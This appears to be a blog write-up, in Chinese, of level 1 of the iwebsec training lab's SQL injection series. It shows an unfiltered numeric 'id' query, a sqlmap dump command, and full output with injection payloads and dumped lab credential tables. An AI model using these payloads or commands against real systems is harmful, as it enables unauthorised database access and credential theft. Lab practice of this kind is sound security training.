• iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入

    目录

    文章目录

    前言

    第01关 数字型注入

    1.源码分析

    2. sqlmap渗透

    总结

    前言

    iwebsec靶场的SQL注入关卡共13关SQL注入漏洞，覆盖了数字型注入、字符型注入、报错型盲注、布尔型盲注、时间型盲注以及各种过滤绕过的注入，外加上二次注入，是SQL注入知识点覆盖较为全面的一个靶场。

    第01关 数字型注入

    打开靶场，url为 http://192.168.71.151/sqli/01.php?id=1 如下所示

    1.源码分析

    如下所示，对传入的参数id并未进行过滤。

    sql语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

    故而存在数字型注入

    2. sqlmap渗透

    基于iwebsec靶场的SQL注入笔记主要以sqlmap工具自动化渗透为主，故而渗透时使用sqlmap工具，命令如下

    sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch

     如下所示注入成功，发现union query查询的数字型注入

     完整交互如下

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
    2.         ___
    3.        __H__
    4.  ___ ___[)]_____ ___ ___  {1.5.11#stable}
    5. |_ -| . [,]     | .'| . |
    6. |___|_  [']_|_|_|__,|  _|
    7.       |_|V...       |_|   https://sqlmap.org
    8.  
    9. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    11. [*] starting @ 21:20:12 /2022-11-24/
    13. [21:20:13] [INFO] testing connection to the target URL
    14. [21:20:13] [INFO] checking if the target is protected by some kind of WAF/IPS
    15. [21:20:13] [INFO] testing if the target URL content is stable
    16. [21:20:13] [INFO] target URL content is stable
    17. [21:20:13] [INFO] testing if GET parameter 'id' is dynamic
    18. [21:20:13] [WARNING] GET parameter 'id' does not appear to be dynamic
    19. [21:20:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
    20. [21:20:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
    21. [21:20:13] [INFO] testing for SQL injection on GET parameter 'id'
    22. it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
    23. for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
    24. [21:20:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    25. [21:20:13] [WARNING] reflective value(s) found and filtering out
    26. [21:20:14] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    27. [21:20:14] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
    28. [21:20:14] [INFO] testing 'Generic inline queries'
    29. [21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    30. [21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
    31. [21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    32. [21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    33. [21:20:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
    34. [21:20:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
    35. [21:20:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
    36. [21:20:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
    37. [21:20:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
    38. [21:20:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                                     
    39. [21:20:14] [INFO] testing 'MySQL inline queries'                                                                                                                                                                                           
    40. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'                                                                                                                                                                      
    41. [21:20:14] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                                                                                          
    42. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries'                                                                                                                                                                                
    43. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'                                                                                                                                                        
    44. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'                                                                                                                                                                  
    45. [21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'                                                                                                                                                         
    46. [21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
    47. [21:20:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
    48. [21:20:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
    49. [21:20:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    50. [21:20:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    51. [21:20:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
    52. [21:20:24] [INFO] target URL appears to have 3 columns in query
    53. [21:20:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
    54. GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
    55. sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
    56. ---
    57. Parameter: id (GET)
    58.     Type: boolean-based blind
    59.     Title: Boolean-based blind - Parameter replace (original value)
    60.     Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))
    62.     Type: error-based
    63.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    64.     Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    66.     Type: time-based blind
    67.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    68.     Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)
    70.     Type: UNION query
    71.     Title: Generic UNION query (NULL) - 3 columns
    72.     Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
    73. ---
    74. [21:20:24] [INFO] the back-end DBMS is MySQL
    75. web server operating system: Linux CentOS 6
    76. web application technology: Apache 2.2.15, PHP 5.2.17
    77. back-end DBMS: MySQL >= 5.0
    78. [21:20:24] [INFO] fetching current database
    79. current database: 'iwebsec'
    80. [21:20:24] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    81. [21:20:24] [INFO] fetching current database
    82. [21:20:24] [INFO] fetching tables for database: 'iwebsec'
    83. [21:20:24] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    84. [21:20:24] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    85. Database: iwebsec
    86. Table: xss
    87. [5 entries]
    88. +----+------------------------------------+
    89. | id | name                               |
    90. +----+------------------------------------+
    91. | 7  |  |
    92. | 6  |  |
    93. | 5  |  |
    94. | 1  | iwebsec                            |
    95. | 8  |                  |
    96. +----+------------------------------------+
    98. [21:20:24] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    99. [21:20:24] [INFO] fetching columns for table 'users' in database 'iwebsec'
    100. [21:20:24] [INFO] fetching entries for table 'users' in database 'iwebsec'
    101. Database: iwebsec
    102. Table: users
    103. [1 entry]
    104. +-------+-------------+----------+
    105. | role  | password    | username |
    106. +-------+-------------+----------+
    107. | admin | mall123mall | orange   |
    108. +-------+-------------+----------+
    110. [21:20:24] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    111. [21:20:24] [INFO] fetching columns for table 'user' in database 'iwebsec'
    112. [21:20:24] [INFO] fetching entries for table 'user' in database 'iwebsec'
    113. Database: iwebsec
    114. Table: user
    115. [3 entries]
    116. +----+----------+----------+
    117. | id | password | username |
    118. +----+----------+----------+
    119. | 1  | pass1    | user1    |
    120. | 2  | pass2    | user2    |
    121. | 3  | pass3    | user3    |
    122. +----+----------+----------+
    124. [21:20:24] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    125. [21:20:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    126. [21:20:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    127. Database: iwebsec
    128. Table: sqli
    129. [7 entries]
    130. +----+-----------------------+----------+------------------------------------------------------+
    131. | id | email                 | password | username                                             |
    132. +----+-----------------------+----------+------------------------------------------------------+
    133. | 1  | user1@iwebsec.com     | pass1    | user1                                                |
    134. | 2  | user2@iwebsec.com     | pass2    | user2                                                |
    135. | 3  | user3@iwebsec.com     | pass3    | user3                                                |
    136. | 4  | user4@iwebsec.com     | admin    | admin                                                |
    137. | 5  | 123@123.com           | 123      | 123                                                  |
    138. | 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
    139. | 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    140. +----+-----------------------+----------+------------------------------------------------------+
    142. [21:20:24] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    143. [21:20:24] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    144. [21:20:24] [WARNING] your sqlmap version is outdated
    146. [*] ending @ 21:20:24 /2022-11-24/

    实际上在进行注入时，选择的命令是--current-db --dump这样就可以将当前数据库的内容全部打印出来，相对而言更加快捷。

    总结

    SQL注入主要分析几个内容

    （1）闭合方式是什么？iwebsec的第一关关卡为数字型，无闭合

    （2）注入类别是什么？这部分是普通的数字型注入，使用union法即可注入成功

    （3）是否过滤了关键字？很明显通过源码，iwebsec的数字型关卡无过滤任何信息

    了解了如上信息就可以针对性进行SQL渗透，使用sqlmap工具渗透更是事半功倍，以上就是今天要讲的数字型注入内容，初学者建议按部就班先使用手动注入练习，再进行sqlmap渗透。

  • 相关阅读:
    5个节约生命的Python小技巧
    自动化防火墙放行目标域名IP
    YOLOv7训练自己的数据集
    小新air14 2020 i5-1035G1完美黑苹果
    企业如何选型iPaaS平台
    简单了解一下：Node全局对象和事件监听和触发
    使用Intellij IDEA远程debug服务器Java代码
    【工程光学】典型光学系统
    Node.js -- fs模块
    【软件测试】一位优秀测试工程师具备哪些知识和经验？
  • 原文地址：https://blog.csdn.net/mooyuan/article/details/128033174